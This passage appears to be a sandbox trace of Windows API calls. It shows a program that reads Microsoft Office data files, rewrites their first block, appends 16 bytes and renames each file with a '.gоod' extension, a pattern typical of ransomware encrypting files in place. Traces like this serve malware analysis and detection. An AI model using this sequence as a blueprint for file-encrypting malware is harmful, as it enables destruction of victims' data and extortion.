nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x343eaa8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0160.057] CloseHandle (hObject=0x7dc) returned 1 [0160.057] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x51 [0160.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0160.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0160.057] GetFileType (hFile=0x7dc) returned 0x1 [0160.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0160.057] GetFileType (hFile=0x7dc) returned 0x1 [0160.057] WriteFile (in: hFile=0x7dc, lpBuffer=0x34389a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x34389a0*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0160.261] CloseHandle (hObject=0x7dc) returned 1 [0160.803] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x51 [0160.803] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x56 [0160.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0160.803] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5bc416e8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x38ca)) returned 1 [0160.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0160.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0160.804] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4c [0160.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0160.805] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x372a6e8 | out: lpFileInformation=0x372a6e8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd048d683, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd048d683, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0572132, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4615)) returned 1 [0160.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0160.805] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4c [0160.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0160.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0160.806] GetFileType (hFile=0x80c) returned 0x1 [0160.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0160.806] GetFileType (hFile=0x80c) returned 0x1 [0160.806] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0160.806] ReadFile (in: hFile=0x80c, lpBuffer=0x372ab70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x372ab70*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0160.807] CloseHandle (hObject=0x80c) returned 1 [0160.807] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4c [0160.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0160.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0160.807] GetFileType (hFile=0x80c) returned 0x1 [0160.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0160.807] GetFileType (hFile=0x80c) returned 0x1 [0160.807] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x4615 [0160.808] WriteFile (in: hFile=0x80c, lpBuffer=0x372be40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x372be40*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0160.811] CloseHandle (hObject=0x80c) returned 1 [0160.811] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4c [0160.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0160.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0160.811] GetFileType (hFile=0x80c) returned 0x1 [0160.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0160.811] GetFileType (hFile=0x80c) returned 0x1 [0160.811] ReadFile (in: hFile=0x80c, lpBuffer=0x372e138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x372e138*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0160.925] CloseHandle (hObject=0x80c) returned 1 [0160.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4c [0160.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0160.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0160.925] GetFileType (hFile=0x80c) returned 0x1 [0160.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0160.925] GetFileType (hFile=0x80c) returned 0x1 [0160.925] WriteFile (in: hFile=0x80c, lpBuffer=0x34ed820*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x34ed820*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0160.926] CloseHandle (hObject=0x80c) returned 1 [0160.926] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4c [0160.926] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x51 [0160.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0160.926] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd048d683, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd048d683, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5c2112aa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4625)) returned 1 [0160.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0160.926] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat.gоod")) returned 1 [0160.927] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0160.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0160.927] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x35160c0 | out: lpFileInformation=0x35160c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84404c07, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x136c)) returned 1 [0160.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0160.927] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0160.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0160.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0160.928] GetFileType (hFile=0x80c) returned 0x1 [0160.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0160.928] GetFileType (hFile=0x80c) returned 0x1 [0160.928] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0160.928] ReadFile (in: hFile=0x80c, lpBuffer=0x3516568, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3516568*, lpNumberOfBytesRead=0x1fcee2d8*=0x36c, lpOverlapped=0x0) returned 1 [0160.930] CloseHandle (hObject=0x80c) returned 1 [0160.930] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0160.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0160.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0160.930] GetFileType (hFile=0x80c) returned 0x1 [0160.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0160.930] GetFileType (hFile=0x80c) returned 0x1 [0160.930] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x136c [0160.930] WriteFile (in: hFile=0x80c, lpBuffer=0x3517848*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3517848*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0160.931] CloseHandle (hObject=0x80c) returned 1 [0160.931] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0160.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0160.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0160.931] GetFileType (hFile=0x80c) returned 0x1 [0160.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0160.931] GetFileType (hFile=0x80c) returned 0x1 [0160.931] ReadFile (in: hFile=0x80c, lpBuffer=0x3519b50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3519b50*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0161.377] CloseHandle (hObject=0x80c) returned 1 [0161.377] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0161.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0161.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0161.378] GetFileType (hFile=0x80c) returned 0x1 [0161.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0161.378] GetFileType (hFile=0x80c) returned 0x1 [0161.378] WriteFile (in: hFile=0x80c, lpBuffer=0x34c78a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x34c78a8*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0161.378] CloseHandle (hObject=0x80c) returned 1 [0161.378] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x52 [0161.378] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x57 [0161.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0161.378] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5c663468, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x137c)) returned 1 [0161.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0161.378] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat.gоod")) returned 1 [0161.382] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4d [0161.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0161.382] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x36f11d8 | out: lpFileInformation=0x36f11d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcfa45126, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcfa45126, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd02e99f0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x136c)) returned 1 [0161.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0161.383] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4d [0161.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0161.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0161.383] GetFileType (hFile=0x80c) returned 0x1 [0161.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0161.383] GetFileType (hFile=0x80c) returned 0x1 [0161.383] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0161.383] ReadFile (in: hFile=0x80c, lpBuffer=0x36f1660, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x36f1660*, lpNumberOfBytesRead=0x1fcee2d8*=0x36c, lpOverlapped=0x0) returned 1 [0161.384] CloseHandle (hObject=0x80c) returned 1 [0161.385] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4d [0161.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0161.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0161.385] GetFileType (hFile=0x80c) returned 0x1 [0161.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0161.385] GetFileType (hFile=0x80c) returned 0x1 [0161.385] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x136c [0161.385] WriteFile (in: hFile=0x80c, lpBuffer=0x36f3970*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x36f3970*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0161.385] CloseHandle (hObject=0x80c) returned 1 [0161.385] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4d [0161.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0161.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0161.385] GetFileType (hFile=0x80c) returned 0x1 [0161.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0161.385] GetFileType (hFile=0x80c) returned 0x1 [0161.386] ReadFile (in: hFile=0x80c, lpBuffer=0x36f5c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x36f5c68*, 